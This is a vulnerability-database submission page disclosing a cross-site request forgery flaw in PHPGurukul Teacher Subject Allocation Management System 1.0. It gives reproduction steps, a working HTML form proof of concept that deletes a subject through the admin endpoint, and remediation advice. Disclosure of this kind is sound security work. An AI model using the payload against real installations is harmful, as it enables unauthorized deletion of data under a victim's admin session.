提交 #250061: PHPGurukul Teacher Subject Allocation Management System 1.0 Cross Site Request Forgery信息

标题PHPGurukul Teacher Subject Allocation Management System 1.0 Cross Site Request Forgery
描述Bug Description: A Cross Site Request Forgery (CSRF) vulnerability in "/admin/subject.php" endpoint of PHPGurukul Teacher Subject Allocation Management System 1.0 allows attackers to "Delete a Subject" via a crafted html request. Steps to Reproduce: # Exploit Title: Cross Site Request Forgery (CSRF) vulnerability in PHPGurukul Teacher Subject Allocation Management System # Date: 10-12-2023 # Exploit Author: dhabaleshwardas # Vendor Homepage: https://phpgurukul.com/ # Software Link: https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql/ # Version: 1.0 # Tested on: firefox/chrome/brave # CVE : To reproduce the attack: 1- Head to the http://localhost/tsas/admin/subject.php endpoint after logging into the admin account. 2- Here you can see that there are many added subjects, but now we will delete the First subject "Introduction to Psychology" using the HTML code we have written. <html> <!-- CSRF PoC Delete Subject- Dhabaleshwar Das --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/tsas/admin/subject.php"> <input type="hidden" name="delid" value="13" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3- We'll then execute this HTML code and we successfully see that the record has been deleted successfully. 4- This shows that the endpoint "/admin/subject.php" is vulnerable to CSRF attack. 5- CSRF attacks can lead to unauthorized actions being performed on behalf of a user. An attacker could manipulate data within the application, leading to the creation, modification, or deletion of records. Remediation: 1- Implement anti-CSRF tokens (also known as CSRF tokens or synchronizer tokens) in web forms. These tokens are unique per session and are embedded in the HTML form. The server validates the token with each form submission, ensuring that the request is legitimate. 2- Set the SameSite attribute on cookies to control when they are sent with cross-origin requests. This helps mitigate the risk of CSRF by preventing the automatic inclusion of cookies in cross-site requests.
来源⚠️ https://github.com/dhabaleshwar/Open-Source-Vulnerabilities/blob/main/csrf_delete_sub.md
用户
 dhabaleshwar (UID 58737)
提交2023-12-10 17時28分 (3 年前)
管理2023-12-13 10時40分 (3 days later)
状态重复
VulDB条目247346 [PHPGurukul Teacher Subject Allocation Management System 1.0 Create a new Subject /admin/subject.php cid 跨网站请求伪造]
积分0

Interested in the pricing of exploits?

See the underground prices here!